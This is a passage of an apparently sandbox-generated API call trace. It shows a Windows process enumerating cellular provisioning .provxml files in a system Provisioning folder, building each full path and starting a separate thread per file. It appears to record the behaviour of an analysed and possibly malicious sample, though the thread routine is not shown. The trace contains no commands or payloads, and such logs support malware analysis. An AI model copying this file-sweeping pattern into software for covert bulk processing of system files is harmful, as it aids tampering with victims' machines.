(_String1="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14c) returned 0x34b6a68 [0085.819] wcscpy (in: _Dest=0x34b6a68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.819] wcscat (in: _Dest=0x34b6a68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.819] wcscat (in: _Dest=0x34b6a68, _Source="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" [0085.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b6a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0085.820] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="154__C~1.PRO")) returned 1 [0085.820] wcscmp (_String1="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0085.820] wcscmp (_String1="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0085.820] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x347d760 [0085.820] wcscpy (in: _Dest=0x347d760, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.820] wcscat (in: _Dest=0x347d760, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.820] wcscat (in: _Dest=0x347d760, _Source="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0085.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0085.821] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", cAlternateFileName="155__C~1.PRO")) returned 1 [0085.821] wcscmp (_String1="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.821] wcscmp (_String1="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.821] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14e) returned 0x34b6bc0 [0085.821] wcscpy (in: _Dest=0x34b6bc0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.821] wcscat (in: _Dest=0x34b6bc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.821] wcscat (in: _Dest=0x34b6bc0, _Source="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" [0085.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b6bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0085.822] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="156__C~1.PRO")) returned 1 [0085.822] wcscmp (_String1="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0085.822] wcscmp (_String1="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0085.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x342aaa0 [0085.822] wcscpy (in: _Dest=0x342aaa0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.822] wcscat (in: _Dest=0x342aaa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.822] wcscat (in: _Dest=0x342aaa0, _Source="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0085.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342aaa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354 [0085.823] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="157__C~1.PRO")) returned 1 [0085.823] wcscmp (_String1="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.823] wcscmp (_String1="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.823] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x150) returned 0x34b6d18 [0085.823] wcscpy (in: _Dest=0x34b6d18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.823] wcscat (in: _Dest=0x34b6d18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.823] wcscat (in: _Dest=0x34b6d18, _Source="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" [0085.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b6d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac [0085.824] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="158__C~1.PRO")) returned 1 [0085.824] wcscmp (_String1="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.824] wcscmp (_String1="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.824] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x34b73d0 [0085.824] wcscpy (in: _Dest=0x34b73d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.824] wcscat (in: _Dest=0x34b73d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.824] wcscat (in: _Dest=0x34b73d0, _Source="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" [0085.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b73d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0085.824] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="159__C~1.PRO")) returned 1 [0085.824] wcscmp (_String1="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.824] wcscmp (_String1="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.824] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x152) returned 0x347c180 [0085.825] wcscpy (in: _Dest=0x347c180, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.825] wcscat (in: _Dest=0x347c180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.825] wcscat (in: _Dest=0x347c180, _Source="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" [0085.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0085.825] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", cAlternateFileName="15__CO~1.PRO")) returned 1 [0085.825] wcscmp (_String1="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.825] wcscmp (_String1="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x34b6e70 [0085.825] wcscpy (in: _Dest=0x34b6e70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.825] wcscat (in: _Dest=0x34b6e70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.825] wcscat (in: _Dest=0x34b6e70, _Source="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" [0085.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b6e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454 [0085.827] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", cAlternateFileName="160__C~1.PRO")) returned 1 [0085.827] wcscmp (_String1="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.827] wcscmp (_String1="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x152) returned 0x347beb0 [0085.827] wcscpy (in: _Dest=0x347beb0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.827] wcscat (in: _Dest=0x347beb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.827] wcscat (in: _Dest=0x347beb0, _Source="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" [0085.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347beb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0085.827] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="161__C~1.PRO")) returned 1 [0085.949] wcscmp (_String1="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.949] wcscmp (_String1="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.949] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x152) returned 0x347c5b8 [0085.949] wcscpy (in: _Dest=0x347c5b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.949] wcscat (in: _Dest=0x347c5b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.949] wcscat (in: _Dest=0x347c5b8, _Source="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" [0085.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c5b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0085.950] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2df, dwReserved0=0x0, dwReserved1=0x0, cFileName="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", cAlternateFileName="162__C~1.PRO")) returned 1 [0085.950] wcscmp (_String1="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.950] wcscmp (_String1="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x152) returned 0x347b910 [0085.950] wcscpy (in: _Dest=0x347b910, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.950] wcscat (in: _Dest=0x347b910, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.950] wcscat (in: _Dest=0x347b910, _Source="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" [0085.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347b910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0085.951] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, 